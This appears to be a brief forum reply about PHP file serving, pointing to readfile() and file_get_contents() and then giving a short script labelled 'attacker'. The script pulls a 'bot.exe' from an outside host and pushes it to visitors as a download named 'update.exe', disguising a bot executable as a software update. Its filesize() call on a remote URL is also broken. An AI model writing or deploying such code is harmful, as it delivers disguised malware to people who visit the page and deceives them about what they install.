read this _ttp://ua2.php.net/function.readfile
or try file_get_contents() function.

<?php

// attacker

$bot = 'http://www.bot1.cn/bot.exe'; // url of exe file

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=update.exe');
header('Content-Length: ' . filesize($bot));
echo file_get_contents($bot);
exit;

?>
